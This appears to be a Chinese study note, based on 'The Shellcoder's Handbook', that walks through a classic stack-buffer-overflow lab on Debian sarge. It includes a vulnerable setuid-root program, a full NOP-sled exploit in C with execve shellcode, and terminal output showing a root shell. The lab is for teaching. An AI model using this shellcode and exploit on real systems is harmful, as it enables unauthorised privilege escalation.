声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出。
在<简述漏洞提权>中提到一个简单的程序victim攻击。由于之前我的系统是Debian/Etch,会故意变化栈的地址,当时未能按照书上做这个测试。后来装了sarge,遂进行这个实验,因为这个攻击实例非常有助于栈溢出的理解。
注:sarge的sources.list源非常少了,至少我找不到,我用的是DVD源。DVD下载地址:http://cdimage.debian.org/cdimage/archive/3.1_r8/i386/iso-dvd/
插入光盘后,运行以下命令,建立编译环境,开通telnet和nfs服务。
apt-cdrom add
apt-get update
apt-get install build-essential
apt-get install telnetd nfs-kernel-server nfs-common
写个find_esp.c,用于输出程序栈地址:
sep@debian:~$ cd shellcode/ sep@debian:~/shellcode$ ls exploit_victim find_esp hellworld shellcode victim exploit_victim.c find_esp.c hellworld.c shellcode.c victim.c sep@debian:~/shellcode$ cat find_esp.c //file: find_esp.c #include <stdio.h> unsigned long find_esp() { __asm__("movl %esp, %eax"); } int main() { printf("0x%x/n", find_esp()); } sep@debian:~/shellcode$ ./find_esp 0xbffffb58 sep@debian:~/shellcode$ ./find_esp 0xbffffb58 sep@debian:~/shellcode$ ./find_esp 0xbffffb58 sep@debian:~/shellcode$
可以看到三次运行find_esp都返回一致的地址值。
sep@debian:~/shellcode$ cat victim.c //file: victim.c #include <stdio.h> int main(int argc, char *argv[]) { char little_arr[512]; if (argc > 1) strcpy(little_arr, argv[1]); } sep@debian:~/shellcode$ ls -l victim -rwsr-sr-x 1 root sep 11395 2010-08-12 10:00 victim sep@debian:~/shellcode$
注意victim.c中strcpy,程序从命令行获取输入后,在没有进行边界检查的情况下,把输入数据复制到数组,这给我们方便进行栈溢出。注:目标程序victim的属主已设为root,suid位打开,当攻击完成后,我们将会拥有根特权。
之前有提及我们所面临的最困难的问题是找出shellcode的起始地址,只能根据esp地址进行猜测。我们用NOP法写一个EXP,如下:
//file: exploit_victim.c #include <stdio.h> #define DEFAULT_BUFFER_SIZE 512 //默认缓冲区大小,与victim.c缓冲区大小一致 #define NOP 0x90 //空操作指令OP码 #define NO_DEBUG #ifdef NO_DEBUG #define DPRINTF(a,...) #else #define DPRINTF printf #endif char shellcode[] = "/xeb/x1a/x5e/x31" "/xc0/x88/x46/x07" "/x8d/x1e/x89/x5e" "/x08/x89/x46/x0c" "/xb0/x0b/x89/xf3" "/x8d/x4e/x08/x8d" "/x56/x0c/xcd/x80" "/xe8/xe1/xff/xff" "/xff/x2f/x62/x69" "/x6e/x2f/x73/x68"; //在sarge中,每个程序的栈都以同样的地址开始,根据这个地址可以猜测shellcode的起始地址 unsigned long find_esp() { __asm__("movl %esp, %eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *paddr, addr; int bsize = DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (bsize < strlen(shellcode)) { printf("Buffer size is too small./n"); exit(1); } if (!(buff = malloc(bsize))) { printf("Can't allocate memory./n"); exit(1); } addr = find_esp(); printf("Using address: 0x%08x/n", addr); ptr = buff; DPRINTF("/n/n"); DPRINTF("Fill buff with NOP:/n"); for (i = 0; i < (bsize/2 - strlen(shellcode)/2); i++) { *(ptr++) = NOP; if ((i%0x10) == 0) DPRINTF("/n"); DPRINTF("%02x ", *(long *)(ptr-1)); } DPRINTF("/n/n"); DPRINTF("Fill buff with shellcode:/n"); for (i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; if ((i%0x10) == 0) DPRINTF("/n"); DPRINTF("%02x ", *(long *)(ptr-1)); } DPRINTF("/n/n"); DPRINTF("Fill buff with ret address:/n"); for (i = 0; ptr < &buff[bsize-1]; ptr += 4, i++) { *(long *)ptr = addr; if ((i%0x8) == 0) DPRINTF("/n"); DPRINTF("%08x ", *(long *)ptr); } DPRINTF("/n/n"); buff[bsize - 1] = '/0'; memcpy(buff, "BUF=", 4); putenv(buff); system("/bin/bash"); }
sep@debian:~/shellcode$ gcc -o exploit_victim exploit_victim.c exploit_victim.c: In function `main': exploit_victim.c:45: warning: assignment makes pointer from integer without a cast exploit_victim.c:33: warning: return type of `main' is not `int' sep@debian:~/shellcode$ ./exploit_victim Using address: 0xbffffb18 sep@debian:~/shellcode$ ./victim $BUF sep@debian:~/shellcode$ ./exploit_victim 520 Using address: 0xbffff928 sep@debian:~/shellcode$ ./victim $BUF sep@debian:~/shellcode$ ./exploit_victim 530 Using address: 0xbffff928 sep@debian:~/shellcode$ ./victim $BUF Segmentation fault sep@debian:~/shellcode$ ./exploit_victim 540 Using address: 0xbffff918 sep@debian:~/shellcode$ ./victim $BUF Segmentation fault sep@debian:~/shellcode$ ./exploit_victim 550 Using address: 0xbffff908 sep@debian:~/shellcode$ ./victim $BUF Segmentation fault sep@debian:~/shellcode$ ./exploit_victim 560 Using address: 0xbffff908 sep@debian:~/shellcode$ ./victim $BUF sh-2.05b# id uid=1000(sep) gid=1000(sep) euid=0(root) groups=1000(sep),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev) sh-2.05b# exit exit sep@debian:~/shellcode$ ./exploit_victim 600 Using address: 0xbffff8f8 sep@debian:~/shellcode$ ./victim $BUF sh-2.05b# sh-2.05b# exit exit sep@debian:~/shellcode$尝试多个地址后,成功拿到root特权。